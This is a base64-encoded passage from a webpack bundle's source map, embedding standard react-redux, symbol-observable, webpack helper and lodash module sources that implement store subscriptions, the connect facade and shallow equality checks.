ICAgICBuZXh0LnB1c2gobGlzdGVuZXIpO1xuXG4gICAgICByZXR1cm4gZnVuY3Rpb24gdW5zdWJzY3JpYmUoKSB7XG4gICAgICAgIGlmICghaXNTdWJzY3JpYmVkIHx8IGN1cnJlbnQgPT09IENMRUFSRUQpIHJldHVybjtcbiAgICAgICAgaXNTdWJzY3JpYmVkID0gZmFsc2U7XG5cbiAgICAgICAgaWYgKG5leHQgPT09IGN1cnJlbnQpIG5leHQgPSBjdXJyZW50LnNsaWNlKCk7XG4gICAgICAgIG5leHQuc3BsaWNlKG5leHQuaW5kZXhPZihsaXN0ZW5lciksIDEpO1xuICAgICAgfTtcbiAgICB9XG4gIH07XG59XG5cbnZhciBTdWJzY3JpcHRpb24gPSBmdW5jdGlvbiAoKSB7XG4gIGZ1bmN0aW9uIFN1YnNjcmlwdGlvbihzdG9yZSwgcGFyZW50U3ViLCBvblN0YXRlQ2hhbmdlKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFN1YnNjcmlwdGlvbik7XG5cbiAgICB0aGlzLnN0b3JlID0gc3RvcmU7XG4gICAgdGhpcy5wYXJlbnRTdWIgPSBwYXJlbnRTdWI7XG4gICAgdGhpcy5vblN0YXRlQ2hhbmdlID0gb25TdGF0ZUNoYW5nZTtcbiAgICB0aGlzLnVuc3Vic2NyaWJlID0gbnVsbDtcbiAgICB0aGlzLmxpc3RlbmVycyA9IG51bGxMaXN0ZW5lcnM7XG4gIH1cblxuICBTdWJzY3JpcHRpb24ucHJvdG90eXBlLmFkZE5lc3RlZFN1YiA9IGZ1bmN0aW9uIGFkZE5lc3RlZFN1YihsaXN0ZW5lcikge1xuICAgIHRoaXMudHJ5U3Vic2NyaWJlKCk7XG4gICAgcmV0dXJuIHRoaXMubGlzdGVuZXJzLnN1YnNjcmliZShsaXN0ZW5lcik7XG4gIH07XG5cbiAgU3Vic2NyaXB0aW9uLnByb3RvdHlwZS5ub3RpZnlOZXN0ZWRTdWJzID0gZnVuY3Rpb24gbm90aWZ5TmVzdGVkU3VicygpIHtcbiAgICB0aGlzLmxpc3RlbmVycy5ub3RpZnkoKTtcbiAgfTtcblxuICBTdWJzY3JpcHRpb24ucHJvdG90eXBlLmlzU3Vic2NyaWJlZCA9IGZ1bmN0aW9uIGlzU3Vic2NyaWJlZCgpIHtcbiAgICByZXR1cm4gQm9vbGVhbih0aGlzLnVuc3Vic2NyaWJlKTtcbiAgfTtcblxuICBTdWJzY3JpcHRpb24ucHJvdG90eXBlLnRyeVN1YnNjcmliZSA9IGZ1bmN0aW9uIHRyeVN1YnNjcmliZSgpIHtcbiAgICBpZiAoIXRoaXMudW5zdWJzY3JpYmUpIHtcbiAgICAgIHRoaXMudW5zdWJzY3JpYmUgPSB0aGlzLnBhcmVudFN1YiA/IHRoaXMucGFyZW50U3ViLmFkZE5lc3RlZFN1Yih0aGlzLm9uU3RhdGVDaGFuZ2UpIDogdGhpcy5zdG9yZS5zdWJzY3JpYmUodGhpcy5vblN0YXRlQ2hhbmdlKTtcblxuICAgICAgdGhpcy5saXN0ZW5lcnMgPSBjcmVhdGVMaXN0ZW5lckNvbGxlY3Rpb24oKTtcbiAgICB9XG4gIH07XG5cbiAgU3Vic2NyaXB0aW9uLnByb3RvdHlwZS50cnlVbnN1YnNjcmliZSA9IGZ1bmN0aW9uIHRyeVVuc3Vic2NyaWJlKCkge1xuICAgIGlmICh0aGlzLnVuc3Vic2NyaWJlKSB7XG4gICAgICB0aGlzLnVuc3Vic2NyaWJlKCk7XG4gICAgICB0aGlzLnVuc3Vic2NyaWJlID0gbnVsbDtcbiAgICAgIHRoaXMubGlzdGVuZXJzLmNsZWFyKCk7XG4gICAgICB0aGlzLmxpc3RlbmVycyA9IG51bGxMaXN0ZW5lcnM7XG4gICAgfVxuICB9O1xuXG4gIHJldHVybiBTdWJzY3JpcHRpb247XG59KCk7XG5cbmV4cG9ydCB7IFN1YnNjcmlwdGlvbiBhcyBkZWZhdWx0IH07XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvdXRpbHMvU3Vic2NyaXB0aW9uLmpzXG4vLyBtb2R1bGUgaWQgPSAxMTlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5mdW5jdGlvbiBfb2JqZWN0V2l0aG91dFByb3BlcnRpZXMob2JqLCBrZXlzKSB7IHZhciB0YXJnZXQgPSB7fTsgZm9yICh2YXIgaSBpbiBvYmopIHsgaWYgKGtleXMuaW5kZXhPZihpKSA+PSAwKSBjb250aW51ZTsgaWYgKCFPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwob2JqLCBpKSkgY29udGludWU7IHRhcmdldFtpXSA9IG9ialtpXTsgfSByZXR1cm4gdGFyZ2V0OyB9XG5cbmltcG9ydCBjb25uZWN0QWR2YW5jZWQgZnJvbSAnLi4vY29tcG9uZW50cy9jb25uZWN0QWR2YW5jZWQnO1xuaW1wb3J0IHNoYWxsb3dFcXVhbCBmcm9tICcuLi91dGlscy9zaGFsbG93RXF1YWwnO1xuaW1wb3J0IGRlZmF1bHRNYXBEaXNwYXRjaFRvUHJvcHNGYWN0b3JpZXMgZnJvbSAnLi9tYXBEaXNwYXRjaFRvUHJvcHMnO1xuaW1wb3J0IGRlZmF1bHRNYXBTdGF0ZVRvUHJvcHNGYWN0b3JpZXMgZnJvbSAnLi9tYXBTdGF0ZVRvUHJvcHMnO1xuaW1wb3J0IGRlZmF1bHRNZXJnZVByb3BzRmFjdG9yaWVzIGZyb20gJy4vbWVyZ2VQcm9wcyc7XG5pbXBvcnQgZGVmYXVsdFNlbGVjdG9yRmFjdG9yeSBmcm9tICcuL3NlbGVjdG9yRmFjdG9yeSc7XG5cbi8qXG4gIGNvbm5lY3QgaXMgYSBmYWNhZGUgb3ZlciBjb25uZWN0QWR2YW5jZWQuIEl0IHR1cm5zIGl0cyBhcmdzIGludG8gYSBjb21wYXRpYmxlXG4gIHNlbGVjdG9yRmFjdG9yeSwgd2hpY2ggaGFzIHRoZSBzaWduYXR1cmU6XG5cbiAgICAoZGlzcGF0Y2gsIG9wdGlvbnMpID0+IChuZXh0U3RhdGUsIG5leHRPd25Qcm9wcykgPT4gbmV4dEZpbmFsUHJvcHNcbiAgXG4gIGNvbm5lY3QgcGFzc2VzIGl0cyBhcmdzIHRvIGNvbm5lY3RBZHZhbmNlZCBhcyBvcHRpb25zLCB3aGljaCB3aWxsIGluIHR1cm4gcGFzcyB0aGVtIHRvXG4gIHNlbGVjdG9yRmFjdG9yeSBlYWNoIHRpbWUgYSBDb25uZWN0IGNvbXBvbmVudCBpbnN0YW5jZSBpcyBpbnN0YW50aWF0ZWQgb3IgaG90IHJlbG9hZGVkLlxuXG4gIHNlbGVjdG9yRmFjdG9yeSByZXR1cm5zIGEgZmluYWwgcHJvcHMgc2VsZWN0b3IgZnJvbSBpdHMgbWFwU3RhdGVUb1Byb3BzLFxuICBtYXBTdGF0ZVRvUHJvcHNGYWN0b3JpZXMsIG1hcERpc3BhdGNoVG9Qcm9wcywgbWFwRGlzcGF0Y2hUb1Byb3BzRmFjdG9yaWVzLCBtZXJnZVByb3BzLFxuICBtZXJnZVByb3BzRmFjdG9yaWVzLCBhbmQgcHVyZSBhcmdzLlxuXG4gIFRoZSByZXN1bHRpbmcgZmluYWwgcHJvcHMgc2VsZWN0b3IgaXMgY2FsbGVkIGJ5IHRoZSBDb25uZWN0IGNvbXBvbmVudCBpbnN0YW5jZSB3aGVuZXZlclxuICBpdCByZWNlaXZlcyBuZXcgcHJvcHMgb3Igc3RvcmUgc3RhdGUuXG4gKi9cblxuZnVuY3Rpb24gbWF0Y2goYXJnLCBmYWN0b3JpZXMsIG5hbWUpIHtcbiAgZm9yICh2YXIgaSA9IGZhY3Rvcmllcy5sZW5ndGggLSAxOyBpID49IDA7IGktLSkge1xuICAgIHZhciByZXN1bHQgPSBmYWN0b3JpZXNbaV0oYXJnKTtcbiAgICBpZiAocmVzdWx0KSByZXR1cm4gcmVzdWx0O1xuICB9XG5cbiAgcmV0dXJuIGZ1bmN0aW9uIChkaXNwYXRjaCwgb3B0aW9ucykge1xuICAgIHRocm93IG5ldyBFcnJvcignSW52YWxpZCB2YWx1ZSBvZiB0eXBlICcgKyB0eXBlb2YgYXJnICsgJyBmb3IgJyArIG5hbWUgKyAnIGFyZ3VtZW50IHdoZW4gY29ubmVjdGluZyBjb21wb25lbnQgJyArIG9wdGlvbnMud3JhcHBlZENvbXBvbmVudE5hbWUgKyAnLicpO1xuICB9O1xufVxuXG5mdW5jdGlvbiBzdHJpY3RFcXVhbChhLCBiKSB7XG4gIHJldHVybiBhID09PSBiO1xufVxuXG4vLyBjcmVhdGVDb25uZWN0IHdpdGggZGVmYXVsdCBhcmdzIGJ1aWxkcyB0aGUgJ29mZmljaWFsJyBjb25uZWN0IGJlaGF2aW9yLiBDYWxsaW5nIGl0IHdpdGhcbi8vIGRpZmZlcmVudCBvcHRpb25zIG9wZW5zIHVwIHNvbWUgdGVzdGluZyBhbmQgZXh0ZW5zaWJpbGl0eSBzY2VuYXJpb3NcbmV4cG9ydCBmdW5jdGlvbiBjcmVhdGVDb25uZWN0KCkge1xuICB2YXIgX3JlZiA9IGFyZ3VtZW50cy5sZW5ndGggPiAwICYmIGFyZ3VtZW50c1swXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzBdIDoge30sXG4gICAgICBfcmVmJGNvbm5lY3RIT0MgPSBfcmVmLmNvbm5lY3RIT0MsXG4gICAgICBjb25uZWN0SE9DID0gX3JlZiRjb25uZWN0SE9DID09PSB1bmRlZmluZWQgPyBjb25uZWN0QWR2YW5jZWQgOiBfcmVmJGNvbm5lY3RIT0MsXG4gICAgICBfcmVmJG1hcFN0YXRlVG9Qcm9wc0YgPSBfcmVmLm1hcFN0YXRlVG9Qcm9wc0ZhY3RvcmllcyxcbiAgICAgIG1hcFN0YXRlVG9Qcm9wc0ZhY3RvcmllcyA9IF9yZWYkbWFwU3RhdGVUb1Byb3BzRiA9PT0gdW5kZWZpbmVkID8gZGVmYXVsdE1hcFN0YXRlVG9Qcm9wc0ZhY3RvcmllcyA6IF9yZWYkbWFwU3RhdGVUb1Byb3BzRixcbiAgICAgIF9yZWYkbWFwRGlzcGF0Y2hUb1BybyA9IF9yZWYubWFwRGlzcGF0Y2hUb1Byb3BzRmFjdG9yaWVzLFxuICAgICAgbWFwRGlzcGF0Y2hUb1Byb3BzRmFjdG9yaWVzID0gX3JlZiRtYXBEaXNwYXRjaFRvUHJvID09PSB1bmRlZmluZWQgPyBkZWZhdWx0TWFwRGlzcGF0Y2hUb1Byb3BzRmFjdG9yaWVzIDogX3JlZiRtYXBEaXNwYXRjaFRvUHJvLFxuICAgICAgX3JlZiRtZXJnZVByb3BzRmFjdG9yID0gX3JlZi5tZXJnZVByb3BzRmFjdG9yaWVzLFxuICAgICAgbWVyZ2VQcm9wc0ZhY3RvcmllcyA9IF9yZWYkbWVyZ2VQcm9wc0ZhY3RvciA9PT0gdW5kZWZpbmVkID8gZGVmYXVsdE1lcmdlUHJvcHNGYWN0b3JpZXMgOiBfcmVmJG1lcmdlUHJvcHNGYWN0b3IsXG4gICAgICBfcmVmJHNlbGVjdG9yRmFjdG9yeSA9IF9yZWYuc2VsZWN0b3JGYWN0b3J5LFxuICAgICAgc2VsZWN0b3JGYWN0b3J5ID0gX3JlZiRzZWxlY3RvckZhY3RvcnkgPT09IHVuZGVmaW5lZCA/IGRlZmF1bHRTZWxlY3RvckZhY3RvcnkgOiBfcmVmJHNlbGVjdG9yRmFjdG9yeTtcblxuICByZXR1cm4gZnVuY3Rpb24gY29ubmVjdChtYXBTdGF0ZVRvUHJvcHMsIG1hcERpc3BhdGNoVG9Qcm9wcywgbWVyZ2VQcm9wcykge1xuICAgIHZhciBfcmVmMiA9IGFyZ3VtZW50cy5sZW5ndGggPiAzICYmIGFyZ3VtZW50c1szXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzNdIDoge30sXG4gICAgICAgIF9yZWYyJHB1cmUgPSBfcmVmMi5wdXJlLFxuICAgICAgICBwdXJlID0gX3JlZjIkcHVyZSA9PT0gdW5kZWZpbmVkID8gdHJ1ZSA6IF9yZWYyJHB1cmUsXG4gICAgICAgIF9yZWYyJGFyZVN0YXRlc0VxdWFsID0gX3JlZjIuYXJlU3RhdGVzRXF1YWwsXG4gICAgICAgIGFyZVN0YXRlc0VxdWFsID0gX3JlZjIkYXJlU3RhdGVzRXF1YWwgPT09IHVuZGVmaW5lZCA/IHN0cmljdEVxdWFsIDogX3JlZjIkYXJlU3RhdGVzRXF1YWwsXG4gICAgICAgIF9yZWYyJGFyZU93blByb3BzRXF1YSA9IF9yZWYyLmFyZU93blByb3BzRXF1YWwsXG4gICAgICAgIGFyZU93blByb3BzRXF1YWwgPSBfcmVmMiRhcmVPd25Qcm9wc0VxdWEgPT09IHVuZGVmaW5lZCA/IHNoYWxsb3dFcXVhbCA6IF9yZWYyJGFyZU93blByb3BzRXF1YSxcbiAgICAgICAgX3JlZjIkYXJlU3RhdGVQcm9wc0VxID0gX3JlZjIuYXJlU3RhdGVQcm9wc0VxdWFsLFxuICAgICAgICBhcmVTdGF0ZVByb3BzRXF1YWwgPSBfcmVmMiRhcmVTdGF0ZVByb3BzRXEgPT09IHVuZGVmaW5lZCA/IHNoYWxsb3dFcXVhbCA6IF9yZWYyJGFyZVN0YXRlUHJvcHNFcSxcbiAgICAgICAgX3JlZjIkYXJlTWVyZ2VkUHJvcHNFID0gX3JlZjIuYXJlTWVyZ2VkUHJvcHNFcXVhbCxcbiAgICAgICAgYXJlTWVyZ2VkUHJvcHNFcXVhbCA9IF9yZWYyJGFyZU1lcmdlZFByb3BzRSA9PT0gdW5kZWZpbmVkID8gc2hhbGxvd0VxdWFsIDogX3JlZjIkYXJlTWVyZ2VkUHJvcHNFLFxuICAgICAgICBleHRyYU9wdGlvbnMgPSBfb2JqZWN0V2l0aG91dFByb3BlcnRpZXMoX3JlZjIsIFsncHVyZScsICdhcmVTdGF0ZXNFcXVhbCcsICdhcmVPd25Qcm9wc0VxdWFsJywgJ2FyZVN0YXRlUHJvcHNFcXVhbCcsICdhcmVNZXJnZWRQcm9wc0VxdWFsJ10pO1xuXG4gICAgdmFyIGluaXRNYXBTdGF0ZVRvUHJvcHMgPSBtYXRjaChtYXBTdGF0ZVRvUHJvcHMsIG1hcFN0YXRlVG9Qcm9wc0ZhY3RvcmllcywgJ21hcFN0YXRlVG9Qcm9wcycpO1xuICAgIHZhciBpbml0TWFwRGlzcGF0Y2hUb1Byb3BzID0gbWF0Y2gobWFwRGlzcGF0Y2hUb1Byb3BzLCBtYXBEaXNwYXRjaFRvUHJvcHNGYWN0b3JpZXMsICdtYXBEaXNwYXRjaFRvUHJvcHMnKTtcbiAgICB2YXIgaW5pdE1lcmdlUHJvcHMgPSBtYXRjaChtZXJnZVByb3BzLCBtZXJnZVByb3BzRmFjdG9yaWVzLCAnbWVyZ2VQcm9wcycpO1xuXG4gICAgcmV0dXJuIGNvbm5lY3RIT0Moc2VsZWN0b3JGYWN0b3J5LCBfZXh0ZW5kcyh7XG4gICAgICAvLyB1c2VkIGluIGVycm9yIG1lc3NhZ2VzXG4gICAgICBtZXRob2ROYW1lOiAnY29ubmVjdCcsXG5cbiAgICAgIC8vIHVzZWQgdG8gY29tcHV0ZSBDb25uZWN0J3MgZGlzcGxheU5hbWUgZnJvbSB0aGUgd3JhcHBlZCBjb21wb25lbnQncyBkaXNwbGF5TmFtZS5cbiAgICAgIGdldERpc3BsYXlOYW1lOiBmdW5jdGlvbiBnZXREaXNwbGF5TmFtZShuYW1lKSB7XG4gICAgICAgIHJldHVybiAnQ29ubmVjdCgnICsgbmFtZSArICcpJztcbiAgICAgIH0sXG5cbiAgICAgIC8vIGlmIG1hcFN0YXRlVG9Qcm9wcyBpcyBmYWxzeSwgdGhlIENvbm5lY3QgY29tcG9uZW50IGRvZXNuJ3Qgc3Vic2NyaWJlIHRvIHN0b3JlIHN0YXRlIGNoYW5nZXNcbiAgICAgIHNob3VsZEhhbmRsZVN0YXRlQ2hhbmdlczogQm9vbGVhbihtYXBTdGF0ZVRvUHJvcHMpLFxuXG4gICAgICAvLyBwYXNzZWQgdGhyb3VnaCB0byBzZWxlY3RvckZhY3RvcnlcbiAgICAgIGluaXRNYXBTdGF0ZVRvUHJvcHM6IGluaXRNYXBTdGF0ZVRvUHJvcHMsXG4gICAgICBpbml0TWFwRGlzcGF0Y2hUb1Byb3BzOiBpbml0TWFwRGlzcGF0Y2hUb1Byb3BzLFxuICAgICAgaW5pdE1lcmdlUHJvcHM6IGluaXRNZXJnZVByb3BzLFxuICAgICAgcHVyZTogcHVyZSxcbiAgICAgIGFyZVN0YXRlc0VxdWFsOiBhcmVTdGF0ZXNFcXVhbCxcbiAgICAgIGFyZU93blByb3BzRXF1YWw6IGFyZU93blByb3BzRXF1YWwsXG4gICAgICBhcmVTdGF0ZVByb3BzRXF1YWw6IGFyZVN0YXRlUHJvcHNFcXVhbCxcbiAgICAgIGFyZU1lcmdlZFByb3BzRXF1YWw6IGFyZU1lcmdlZFByb3BzRXF1YWxcblxuICAgIH0sIGV4dHJhT3B0aW9ucykpO1xuICB9O1xufVxuXG5leHBvcnQgZGVmYXVsdCBjcmVhdGVDb25uZWN0KCk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvY29ubmVjdC9jb25uZWN0LmpzXG4vLyBtb2R1bGUgaWQgPSAxMjBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgaGFzT3duID0gT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eTtcblxuZnVuY3Rpb24gaXMoeCwgeSkge1xuICBpZiAoeCA9PT0geSkge1xuICAgIHJldHVybiB4ICE9PSAwIHx8IHkgIT09IDAgfHwgMSAvIHggPT09IDEgLyB5O1xuICB9IGVsc2Uge1xuICAgIHJldHVybiB4ICE9PSB4ICYmIHkgIT09IHk7XG4gIH1cbn1cblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gc2hhbGxvd0VxdWFsKG9iakEsIG9iakIpIHtcbiAgaWYgKGlzKG9iakEsIG9iakIpKSByZXR1cm4gdHJ1ZTtcblxuICBpZiAodHlwZW9mIG9iakEgIT09ICdvYmplY3QnIHx8IG9iakEgPT09IG51bGwgfHwgdHlwZW9mIG9iakIgIT09ICdvYmplY3QnIHx8IG9iakIgPT09IG51bGwpIHtcbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cblxuICB2YXIga2V5c0EgPSBPYmplY3Qua2V5cyhvYmpBKTtcbiAgdmFyIGtleXNCID0gT2JqZWN0LmtleXMob2JqQik7XG5cbiAgaWYgKGtleXNBLmxlbmd0aCAhPT0ga2V5c0IubGVuZ3RoKSByZXR1cm4gZmFsc2U7XG5cbiAgZm9yICh2YXIgaSA9IDA7IGkgPCBrZXlzQS5sZW5ndGg7IGkrKykge1xuICAgIGlmICghaGFzT3duLmNhbGwob2JqQiwga2V5c0FbaV0pIHx8ICFpcyhvYmpBW2tleXNBW2ldXSwgb2JqQltrZXlzQVtpXV0pKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuICB9XG5cbiAgcmV0dXJuIHRydWU7XG59XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvdXRpbHMvc2hhbGxvd0VxdWFsLmpzXG4vLyBtb2R1bGUgaWQgPSAxMjFcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgeyBiaW5kQWN0aW9uQ3JlYXRvcnMgfSBmcm9tICdyZWR1eCc7XG5pbXBvcnQgeyB3cmFwTWFwVG9Qcm9wc0NvbnN0YW50LCB3cmFwTWFwVG9Qcm9wc0Z1bmMgfSBmcm9tICcuL3dyYXBNYXBUb1Byb3BzJztcblxuZXhwb3J0IGZ1bmN0aW9uIHdoZW5NYXBEaXNwYXRjaFRvUHJvcHNJc0Z1bmN0aW9uKG1hcERpc3BhdGNoVG9Qcm9wcykge1xuICByZXR1cm4gdHlwZW9mIG1hcERpc3BhdGNoVG9Qcm9wcyA9PT0gJ2Z1bmN0aW9uJyA/IHdyYXBNYXBUb1Byb3BzRnVuYyhtYXBEaXNwYXRjaFRvUHJvcHMsICdtYXBEaXNwYXRjaFRvUHJvcHMnKSA6IHVuZGVmaW5lZDtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHdoZW5NYXBEaXNwYXRjaFRvUHJvcHNJc01pc3NpbmcobWFwRGlzcGF0Y2hUb1Byb3BzKSB7XG4gIHJldHVybiAhbWFwRGlzcGF0Y2hUb1Byb3BzID8gd3JhcE1hcFRvUHJvcHNDb25zdGFudChmdW5jdGlvbiAoZGlzcGF0Y2gpIHtcbiAgICByZXR1cm4geyBkaXNwYXRjaDogZGlzcGF0Y2ggfTtcbiAgfSkgOiB1bmRlZmluZWQ7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB3aGVuTWFwRGlzcGF0Y2hUb1Byb3BzSXNPYmplY3QobWFwRGlzcGF0Y2hUb1Byb3BzKSB7XG4gIHJldHVybiBtYXBEaXNwYXRjaFRvUHJvcHMgJiYgdHlwZW9mIG1hcERpc3BhdGNoVG9Qcm9wcyA9PT0gJ29iamVjdCcgPyB3cmFwTWFwVG9Qcm9wc0NvbnN0YW50KGZ1bmN0aW9uIChkaXNwYXRjaCkge1xuICAgIHJldHVybiBiaW5kQWN0aW9uQ3JlYXRvcnMobWFwRGlzcGF0Y2hUb1Byb3BzLCBkaXNwYXRjaCk7XG4gIH0pIDogdW5kZWZpbmVkO1xufVxuXG5leHBvcnQgZGVmYXVsdCBbd2hlbk1hcERpc3BhdGNoVG9Qcm9wc0lzRnVuY3Rpb24sIHdoZW5NYXBEaXNwYXRjaFRvUHJvcHNJc01pc3NpbmcsIHdoZW5NYXBEaXNwYXRjaFRvUHJvcHNJc09iamVjdF07XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvY29ubmVjdC9tYXBEaXNwYXRjaFRvUHJvcHMuanNcbi8vIG1vZHVsZSBpZCA9IDEyMlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8qIGdsb2JhbCB3aW5kb3cgKi9cbmltcG9ydCBwb255ZmlsbCBmcm9tICcuL3BvbnlmaWxsLmpzJztcblxudmFyIHJvb3Q7XG5cbmlmICh0eXBlb2Ygc2VsZiAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgcm9vdCA9IHNlbGY7XG59IGVsc2UgaWYgKHR5cGVvZiB3aW5kb3cgIT09ICd1bmRlZmluZWQnKSB7XG4gIHJvb3QgPSB3aW5kb3c7XG59IGVsc2UgaWYgKHR5cGVvZiBnbG9iYWwgIT09ICd1bmRlZmluZWQnKSB7XG4gIHJvb3QgPSBnbG9iYWw7XG59IGVsc2UgaWYgKHR5cGVvZiBtb2R1bGUgIT09ICd1bmRlZmluZWQnKSB7XG4gIHJvb3QgPSBtb2R1bGU7XG59IGVsc2Uge1xuICByb290ID0gRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcbn1cblxudmFyIHJlc3VsdCA9IHBvbnlmaWxsKHJvb3QpO1xuZXhwb3J0IGRlZmF1bHQgcmVzdWx0O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvc3ltYm9sLW9ic2VydmFibGUvZXMvaW5kZXguanNcbi8vIG1vZHVsZSBpZCA9IDEyM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24ob3JpZ2luYWxNb2R1bGUpIHtcclxuXHRpZighb3JpZ2luYWxNb2R1bGUud2VicGFja1BvbHlmaWxsKSB7XHJcblx0XHR2YXIgbW9kdWxlID0gT2JqZWN0LmNyZWF0ZShvcmlnaW5hbE1vZHVsZSk7XHJcblx0XHQvLyBtb2R1bGUucGFyZW50ID0gdW5kZWZpbmVkIGJ5IGRlZmF1bHRcclxuXHRcdGlmKCFtb2R1bGUuY2hpbGRyZW4pIG1vZHVsZS5jaGlsZHJlbiA9IFtdO1xyXG5cdFx0T2JqZWN0LmRlZmluZVByb3BlcnR5KG1vZHVsZSwgXCJsb2FkZWRcIiwge1xyXG5cdFx0XHRlbnVtZXJhYmxlOiB0cnVlLFxyXG5cdFx0XHRnZXQ6IGZ1bmN0aW9uKCkge1xyXG5cdFx0XHRcdHJldHVybiBtb2R1bGUubDtcclxuXHRcdFx0fVxyXG5cdFx0fSk7XHJcblx0XHRPYmplY3QuZGVmaW5lUHJvcGVydHkobW9kdWxlLCBcImlkXCIsIHtcclxuXHRcdFx0ZW51bWVyYWJsZTogdHJ1ZSxcclxuXHRcdFx0Z2V0OiBmdW5jdGlvbigpIHtcclxuXHRcdFx0XHRyZXR1cm4gbW9kdWxlLmk7XHJcblx0XHRcdH1cclxuXHRcdH0pO1xyXG5cdFx0T2JqZWN0LmRlZmluZVByb3BlcnR5KG1vZHVsZSwgXCJleHBvcnRzXCIsIHtcclxuXHRcdFx0ZW51bWVyYWJsZTogdHJ1ZSxcclxuXHRcdH0pO1xyXG5cdFx0bW9kdWxlLndlYnBhY2tQb2x5ZmlsbCA9IDE7XHJcblx0fVxyXG5cdHJldHVybiBtb2R1bGU7XHJcbn07XHJcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vICh3ZWJwYWNrKS9idWlsZGluL2hhcm1vbnktbW9kdWxlLmpzXG4vLyBtb2R1bGUgaWQgPSAxMjRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJleHBvcnQgZGVmYXVsdCBmdW5jdGlvbiBzeW1ib2xPYnNlcnZhYmxlUG9ueWZpbGwocm9vdCkge1xuXHR2YXIgcmVzdWx0O1xuXHR2YXIgU3ltYm9sID0gcm9vdC5TeW1ib2w7XG5cblx0aWYgKHR5cGVvZiBTeW1ib2wgPT09ICdmdW5jdGlvbicpIHtcblx0XHRpZiAoU3ltYm9sLm9ic2VydmFibGUpIHtcblx0XHRcdHJlc3VsdCA9IFN5bWJvbC5vYnNlcnZhYmxlO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHRyZXN1bHQgPSBTeW1ib2woJ29ic2VydmFibGUnKTtcblx0XHRcdFN5bWJvbC5vYnNlcnZhYmxlID0gcmVzdWx0O1xuXHRcdH1cblx0fSBlbHNlIHtcblx0XHRyZXN1bHQgPSAnQEBvYnNlcnZhYmxlJztcblx0fVxuXG5cdHJldHVybiByZXN1bHQ7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvc3ltYm9sLW9ic2VydmFibGUvZXMvcG9ueWZpbGwuanNcbi8vIG1vZHVsZSBpZCA9IDEyNVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsImltcG9ydCBiYXNlR2V0VGFnIGZyb20gJy4vX2Jhc2VHZXRUYWcuanMnO1xuaW1wb3J0IGdldFByb3RvdHlwZSBmcm9tICcuL19nZXRQcm90b3R5cGUuanMnO1xuaW1wb3J0IGlzT2JqZWN0TGlrZSBmcm9tICcuL2lzT2JqZWN0TGlrZS5qcyc7XG5cbi8qKiBgT2JqZWN0I3RvU3RyaW5nYCByZXN1bHQgcmVmZXJlbmNlcy4gKi9cbnZhciBvYmplY3RUYWcgPSAnW29iamVjdCBPYmplY3RdJztcblxuLyoqIFVzZWQgZm9yIGJ1aWx0LWluIG1ldGhvZCByZWZlcmVuY2VzLiAqL1xudmFyIGZ1bmNQcm90byA9IEZ1bmN0aW9uLnByb3RvdHlwZSxcbiAgICBvYmplY3RQcm90byA9IE9iamVjdC5wcm90b3R5cGU7XG5cbi8qKiBVc2VkIHRvIHJlc29sdmUgdGhlIGRlY29tcGlsZWQgc291cmNlIG9mIGZ1bmN0aW9ucy4gKi9cbnZhciBmdW5jVG9TdHJpbmcgPSBmdW5jUHJvdG8udG9TdHJpbmc7XG5cbi8qKiBVc2VkIHRvIGNoZWNrIG9iamVjdHMgZm9yIG93biBwcm9wZXJ0aWVzLiAqL1xudmFyIGhhc093blByb3BlcnR5ID0gb2J